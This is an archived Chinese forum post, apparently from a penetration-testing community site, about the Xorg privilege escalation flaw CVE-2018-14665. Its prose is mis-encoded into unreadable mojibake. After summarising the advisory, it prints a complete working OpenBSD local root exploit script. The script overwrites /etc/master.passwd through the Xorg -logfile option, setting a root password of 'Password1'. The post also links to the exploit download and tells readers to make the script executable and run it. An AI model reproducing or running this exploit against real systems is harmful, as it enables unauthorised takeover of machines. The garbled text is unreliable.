CVE-2018-14665£¨linuxÈ«°æ±¾x.orgÌáÈ¨Â©¶´£©

admin ·¢±íÓÚ 2018-10-29 17:32:50

Ó¡¶È°²È«ÑÐ¾¿Ô±Narendra ShindeÔÚX.Org ServerÈí¼þ°üÖÐ·¢ÏÖÁËÒ»¸öÆÕÍ¨ÕËºÅÌáÈ¨rootµÄ¸ßÎ£Â©¶´£¨CVE-2018-14665£©£¬ËüÓ°ÏìÁËÖ÷ÒªµÄLinux·¢ÐÐ°æ£¬°üÀ¨OpenBSD£¬Debian£¬Ubuntu£¬CentOS£¬Red HatºÍFedora¡£


Xorg XÏîÄ¿Ìá¹©ÁËX WindowÏµÍ³µÄ¿ªÔ´ÊµÏÖ£¨Ò²¾ÍÊÇX11£¬»ò¼ò³ÆX£¬ËüÊÇÎ»Í¼ÏÔÊ¾µÄ´°¿ÚÏµÍ³¡£ËüÌá¹©ÁËGUI»·¾³µÄ»ù±¾¿ò¼Ü£ºÔÚÏÔÊ¾Éè±¸ÉÏ»æÖÆºÍÒÆ¶¯´°¿ÚÒÔ¼°½»»¥ÓÃÊó±êºÍ¼üÅÌ¡£


Shinde·¢ÏÖXorg X·þÎñÆ÷ÎÞ·¨ÕýÈ·´¦ÀíºÍÑéÖ¤ÖÁÉÙÒÔÏÂÁ½¸öÃüÁîÐÐ²ÎÊýµÄ²ÎÊý£º


<code style="box-sizing:border-box;padding:0.2em 0.4em;margin:0px;border-radius:3px;">-modulepath</code>£ºÉèÖÃËÑË÷Xorg·þÎñÆ÷Ä£¿éµÄÄ¿Â¼Â·¾¶£¬


<code style="box-sizing:border-box;padding:0.2em 0.4em;margin:0px;border-radius:3px;">-logfile</code>£ºÎªXorg·þÎñÆ÷ÉèÖÃÐÂµÄÈÕÖ¾ÎÄ¼þ£¬¶ø²»ÊÇÔÚ´ó¶àÊýÆ½Ì¨ÉÏÊ¹ÓÃÎ»ÓÚ/var/log/Xorg.n.logµÄÄ¬ÈÏÈÕÖ¾¡£


¸ù¾ÝNarendra ShindeµÄËµ·¨£¬µÍÈ¨ÏÞÓÃ»§¿ÉÒÔÀûÓÃËüÀ´Ö´ÐÐ¶ñÒâ´úÂë²¢¸²¸ÇÏµÍ³ÉÏµÄÈÎºÎÎÄ¼þ


Á½Äê¶àÇ°£¬¸ÃÂ©¶´±»ÒýÈëX.Org·þÎñÆ÷1.19.0Èí¼þ°üÖÐ¡£


Xorg·¢²¼ÁËÓÐ¹ØCVE-2018-14665Â©¶´µÄ°²È«¹«¸æ¡£

<pre style="box-sizing:border-box;margin-top:0px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;border-radius:3px;"><code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">¡°µ±X·þÎñÆ÷ÒÔÌáÉýµÄÈ¨ÏÞÔËÐÐÊ±£¨¼´£¬°²×°Xorg²¢ÉèÖÃsetuidÎ»²¢ÓÉ·ÇrootÓÃ»§Æô¶¯£©¡£¡±¶ÁÈ¡Xorg½¨Òé¡£

¡°-modulepath²ÎÊý¿ÉÓÃÓÚÖ¸¶¨ÒªÔÚX·þÎñÆ÷ÖÐ¼ÓÔØµÄÄ£¿éµÄ²»°²È«Â·¾¶£¬ÔÊÐíÔÚÌØÈ¨½ø³ÌÖÐÖ´ÐÐ·ÇÌØÈ¨´úÂë¡£ </code>

<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">ÓÉÓÚÔÚ½âÎöÑ¡ÏîÊ±¼ì²é²»ÕýÈ·£¬-logfile²ÎÊý¿ÉÓÃÓÚ¸²¸ÇÎÄ¼þÏµÍ³ÖÐµÄÈÎÒâÎÄ¼þ¡£¡° </code>



<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> </code>


<h2 style="box-sizing:border-box;margin-top:24px;margin-bottom:16px;line-height:1.25;padding-bottom:0.3em;border-bottom-width:1px;border-bottom-style:solid;border-bottom-color:#EAECEF;white-space:normal;">
<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">0x01 root</code>
</h2>


<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">°²È«×¨¼ÒMatthew Hickey»¹·¢²¼ÁËÒ»¸ö ¸ÅÄîÑéÖ¤ Â©¶´ÀûÓÃ´úÂë£¬¿ÉÒÔÈÃ¹¥»÷ÕßÒÔ3¸ö»ò¸üÉÙµÄÃüÁî½Ó¹ÜÒ×ÊÜ¹¥»÷µÄÏµÍ³¡£</code>



<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">Openbsd µÄ#0day LPE Í¨¹ý CVE-2018-14665 ¿ÉÒÔ´ÓÔ¶³Ì SSH »á»°´¥·¢, ²»ÐèÒªÔÚ±¾µØ¿ØÖÆÌ¨ÉÏ¡£¹¥»÷Õß¿ÉÒÔ´Ó×ÖÃæÉÏ½Ó¹Ü3ÃüÁî»ò¸üÉÙµÄÊÜÓ°ÏìµÄÏµÍ³¡£</code>



<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">ÀûÓÃ½Å±¾£º<a href="https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh" rel="nofollow" style="box-sizing:border-box;">https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh</a> </code>

<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"><a target="_blank" href="https://9kb.org/content/uploadfile/201810/abc71540781457.jpg" id="ematt:25"><img src="https://9kb.org/content/uploadfile/201810/abc71540781457.jpg" title="µã»÷²é¿´ÔÍ¼" alt="root.jpg" border="0" width="948" height="994" /></a> </code>

 


</pre>

<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">POC:</code>


<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> </code>

<pre class="prettyprint lang-bsh linenums"><code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;">#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
#
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 & 6.4) as 0day himself
# here:
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -</code></pre>
<code style="box-sizing:border-box;padding:0px;margin:0px;border-radius:3px;word-break:normal;border:0px;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;background-image:initial;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;"> ±£´æÎª.sh£¬chmod 777¼ÓÈ¨ÏÞ£¬¾¹ý²âÊÔ·¢ÏÖ£¬µÍÓÚ1.19.x°æ±¾ÒÔÏÂµÄx.org»áÊ§°Ü£¬²Î¿¼https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14665</code>

Ò³: [1]

ÖÐ¹úÍøÂçÉøÍ¸²âÊÔÁªÃË's Archiver

CVE-2018-14665£¨linuxÈ«°æ±¾x.orgÌáÈ¨Â©¶´£©